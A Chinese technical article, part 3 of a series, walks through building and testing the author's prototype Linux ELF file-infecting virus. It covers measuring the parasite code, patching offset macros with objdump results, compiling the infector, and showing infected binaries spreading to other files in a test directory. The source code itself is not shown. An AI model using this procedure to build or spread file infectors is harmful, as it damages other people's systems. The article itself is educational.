科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道关于Linux操作系统病毒的原型分析 (3)

关于Linux操作系统病毒的原型分析 (3)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

写这篇文章的目的主要是对最近写的一个Linux病毒原型代码做一个总结,同时向对这方面有兴趣的朋友做一个简单的介绍。阅读这篇文章你需要一些知识,要对ELF有所了解、能够阅读一些嵌入了汇编的C代码、了解病毒的基本工作原理。

作者:yuanjin 来源:赛迪网技术社区 2007年10月19日

关键字: 分析 病毒 操作系统 Linux

  • 评论
  • 分享微博
  • 分享邮件

先获取病毒代码长度,然后调整gvirus.c中的#define PARACODE_LENGTH定义:

  grip2@linux:~/tmp/virus>. /gei -l <.这里获取病毒代码的长度
  Parasite code length: 1744
  

获取病毒代码开始位置和0xaabbccdd的地址,计算存放返回地址的地址的偏移:

  grip2@linux:~/tmp/virus> objdump -d gei|grep aabbccdd
  8049427: 68 dd cc bb aa push $0xaabbccdd
  grip2@linux:~/tmp/virus> objdump -d gei|grep ""
  08048d80 :
  8049450: e9 2b f9 ff ff jmp 8048d80
  grip2@linux:~/tmp/virus> objdump -d gei|grep ":"
  08048d80 :
  

0x8049427与0x8048d80相减即获得我们需要的偏移,用这个值更新gvirus.h中的#define PARACODE_RETADDR_ADDR_OFFSET宏的值。

重新编译:

  grip2@linux:~/tmp/virus> make clean
  rm *.o -rf
  rm foo -rf
  rm gei -rf
  grip2@linux:~/tmp/virus> make
  gcc foo.c -o foo
  gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
  gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG
  
  grip2@linux:~/tmp/virus> ls
  gei gsyscall.h gvirus.c gvirus.o foo.c parasite-sample.c
  g-elf-infector.c gunistd.h gvirus.h foo Makefile parasite-sample.h
  

建立一个测试目录,测试一下:

  grip2@linux:~/tmp/virus> mkdir test
  grip2@linux:~/tmp/virus> cp gei foo test
  grip2@linux:~/tmp/virus> cd test
  grip2@linux:~/tmp/virus/test> ls
  gei foo
  grip2@linux:~/tmp/virus/test> cp foo h
  

制作带毒程序:

  grip2@linux:~/tmp/virus/test>. /gei h
  file size: 8668
  e_phoff: 00000034
  e_shoff: 00001134
  e_phentsize: 00000020
  e_phnum: 00000008
  e_shentsize: 00000028
  e_shnum: 00000025
  text segment file offset: 0
  [15 sections patched]
  grip2@linux:~/tmp/virus/test> ll
  total 44
  -rwxr-xr-x 1 grip2 users 14211 2004-12-13 07:50 gei
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
  -rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:50 foo
  

运行带毒程序:

  grip2@linux:~/tmp/virus/test>. /h
  .
  ..
  gei
  foo
  h
  .backup.h
  real elf point
  grip2@linux:~/tmp/virus/test> ll
  total 52
  -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
  

测试上面带毒程序运行后,是否感染了其他ELF程序:

  grip2@linux:~/tmp/virus/test>. /foo
  .
  ..
  gei
  Better luck next file
  foo
  h
  Better luck next file
  .backup.h
  Better luck next file
  real elf point
  
  OK,成功
  grip2@linux:~/tmp/virus/test> cp. ./foo hh
  grip2@linux:~/tmp/virus/test> ll
  total 64
  -rwxr-xr-x 1 grip2 users 18307 2004-12-13 07:51 gei
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 h
  -rwxr-xr-x 1 grip2 users 8668 2004-12-13 07:51 hh
  -rwxr-xr-x 1 grip2 users 12764 2004-12-13 07:51 foo
  
  grip2@linux:~/tmp/virus/test>. /foo
  .
  ..
  gei
  Better luck next file
  foo
  h
  Better luck next file
  .backup.h
  Better luck next file
  hh
  real elf point
  grip2@linux:~/tmp/virus/test>
  

六、总结

由于我既不是一个virus coder也不是一个anti-viruscoder,所以对病毒技术的掌握应该是有欠缺的。如果在文章中对病毒技术的描述不够准确,分析不够到位,还请指正,谢谢。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章